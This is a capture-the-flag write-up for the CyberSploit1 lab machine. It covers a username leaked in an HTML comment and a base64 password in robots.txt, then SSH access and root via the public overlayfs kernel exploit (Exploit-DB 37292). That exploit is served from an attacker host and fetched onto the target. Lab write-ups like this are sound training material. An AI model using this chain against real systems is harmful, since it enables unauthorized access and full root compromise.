CyberSploit1 Writeup - Proving Grounds
Created October 6, 2026 • Last updated October 6, 2026 • 2 min read
CyberSploit1 leaks a username in an HTML comment on the web server and a base64-encoded password in robots.txt. Those log in over SSH as a low-privileged user, and an outdated 3.13 kernel is escalated to root with the public overlayfs local privilege escalation exploit.
Reconnaissance
Nmap
Scan the target for open services.
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
SSH on 22 and a web server on 80.
Enumeration
Username disclosure
Read the source of the default page on port 80.
<!doctype html> <html lang="en"> ... <!--------------username:itsskv----------------------> </body> ...
This leaks the username itsskv.
Password disclosure
Run dirb with the default wordlist and the non-recursive option.
---- Scanning URL: http://$TARGET_IP/ ---- + http://$TARGET_IP/cgi-bin/ (CODE:403|SIZE:291) + http://$TARGET_IP/robots.txt (CODE:200|SIZE:79)
Explain command
| -r | Do not recurse into discovered directories. |
A robots.txt sits in the web root and holds a base64-encoded string.
Y3liZXJzcGxvaXR7eW91dHViZS5jb20vYy9jeWJlcnNwbG9pdH0=
Decode it to recover the password.
$ITSSKV_PASSWORD
Explain command
| -d | Decode the base64 input. |
Exploitation
SSH
The decoded string looks odd, but it works as the password for the discovered username.
itsskv@$TARGET_IP's password: itsskv@cybersploit-CTF:~$ id uid=1001(itsskv) gid=1001(itsskv) groups=1001(itsskv)
Authenticated as itsskv.
Privilege Escalation
Local enumeration
Start with the kernel version.
Linux cybersploit-CTF 3.13.0-32-generic #57~precise1-Ubuntu SMP Tue Jul 15 03:50:54 UTC 2014 i686 i686 i386 GNU/Linux
Explain command
| -a | Print all system and kernel information. |
Kernel 3.13.0 on a 32-bit Ubuntu is vulnerable to the overlayfs local privilege escalation, Exploit-DB 37292.
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local ... | linux/local/37292.c
Kernel exploit
Host the exploit source on the attacker machine with a simple HTTP server.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... $TARGET_IP - - [03/Sep/2020 11:57:51] "GET /37292.c HTTP/1.1" 200 -
Download, compile, and run it on the target.
spawning threads mount #1 mount #2 child threads done /etc/ld.so.preload created creating shared library # whoami root
The overlayfs exploit drops a root shell.
Related
References
-
Linux Kernel 3.13.0 < 3.19 overlayfs local privilege escalation.
-
overlayfs incorrect permission handling allowing local privilege escalation.